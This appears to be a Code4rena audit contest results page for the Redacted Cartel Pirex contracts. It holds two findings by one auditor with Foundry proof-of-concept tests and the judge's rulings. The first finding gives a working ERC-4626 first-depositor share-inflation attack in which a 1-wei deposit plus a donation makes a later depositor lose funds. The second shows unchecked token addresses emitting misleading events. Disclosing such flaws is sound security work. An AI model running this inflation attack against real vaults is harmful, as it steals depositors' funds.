Platform: Code4rena
Start Date: 21/11/2022
Pot Size: $90,500 USDC
Total HM: 18
Participants: 101
Period: 7 days
Judge: Picodes
Total Solo HM: 4
Id: 183
League: ETH
Rank: 50/101
Findings: 2
Award: $78.81
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Jeiwan
Also found by: 0xLad, 0xSmartContract, 8olidity, HE1M, JohnSmith, KingNFT, Koolex, Lambda, R2, __141345__, carrotsmuggler, cccz, gogo, hl_, joestakey, koxuan, ladboy233, pashov, peanuts, rbserver, rvierdiiev, seyni, unforgiven, xiaoming90, yongskiws
25.3241 USDC - $25.32
First user of the vaults can cause loss of funds for subsequent users by throwing off the share ratios. This is due to a rounding error which has to be accounted for in erc4626 vault contracts. Consider the following scenario:
function testDustAttack() public { _setupRewardsAndTestAccounts(1); // Deposit dust value _depositToVault(testAccounts[0], 1 wei); // Send 1 eth to throw off ratio vm.startPrank(testAccounts[0]); pxGlp.transfer(address(autoPxGlp), 1 ether); vm.stopPrank(); // Second user (victim) approaches _depositToVault(testAccounts[1], 2 ether); // Second user tries to redeem vm.startPrank(testAccounts[1]); uint256 assetval = autoPxGlp.redeem( autoPxGlp.balanceOf(testAccounts[1]), testAccounts[1], testAccounts[1] ); uint256 lostAmt = 2 ether - assetval; console.log("redeemed by user1", assetval); console.log("lost by user1", lostAmt); console.log("Percentage loss:", (lostAmt * 100) / 2 ether, "%"); }
Foundry
This can be mitigated in 2 ways:
#0 - c4-judge
2022-12-03T18:47:30Z
Picodes marked the issue as duplicate of #407
#1 - c4-judge
2023-01-01T11:15:25Z
Picodes marked the issue as satisfactory
#2 - C4-Staff
2023-01-10T21:54:30Z
JeeberC4 marked the issue as duplicate of #275
🌟 Selected for report: 0xSmartContract
Also found by: 0xAgro, 0xNazgul, 0xPanda, 0xbepresent, 0xfuje, Awesome, B2, Bnke0x0, Deivitto, Diana, Funen, Jeiwan, JohnSmith, Josiah, R2, RaymondFam, Rolezn, Sathish9098, Waze, adriro, aphak5010, brgltd, btk, carrotsmuggler, ch0bu, chaduke, codeislight, codexploder, cryptostellar5, csanuragjain, danyams, datapunk, delfin454000, deliriusz, eierina, erictee, fatherOfBlocks, gz627, gzeon, hansfriese, hihen, jadezti, joestakey, keccak123, martin, nameruse, oyc_109, pedr02b2, perseverancesuccess, rbserver, rotcivegaf, rvierdiiev, sakshamguruji, shark, simon135, subtle77, unforgiven, xiaoming90, yixxas
53.4851 USDC - $53.49
https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexRewards.sol#L270-L274 https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexRewards.sol#L281-L298 https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexRewards.sol#L373-L417
The functions globalAccrue
, userAccrue
and claim
in PirexRewards never checks the inputted token address. This causes the contract to emit events with any random token. This won't lead to loss of funds since the rewardTokens array of a random producedr token is empty, however this will cause the contract to emit events which can be misleading for the UI/API. The contract even emits a claim event with random token addresses.
function testEvent() public { _setupRewardsAndTestAccounts(1); // Random coin newERC stc = new newERC(); stc.mint(testAccounts[0], 10 ether); pirexRewards.globalAccrue(stc); pirexRewards.userAccrue(stc, address(testAccounts[0])); skip(1 days); pirexRewards.globalAccrue(stc); vm.expectEmit(true, true, false, false, address(pirexRewards)); emit Claim(stc, address(testAccounts[0])); pirexRewards.claim(stc, testAccounts[0]); }
Foundry
Check if the producerToken is allowed before emitting claim event
#0 - c4-judge
2022-12-04T12:14:50Z
Picodes changed the severity to QA (Quality Assurance)
#1 - Picodes
2022-12-04T12:15:52Z
Downgrading to QA because this do not lead to funds loss or impact the functionality of the protocol. Note that this would be easily manageable by anyone using the events off chain.
#2 - c4-judge
2022-12-05T09:33:06Z
Picodes marked the issue as grade-b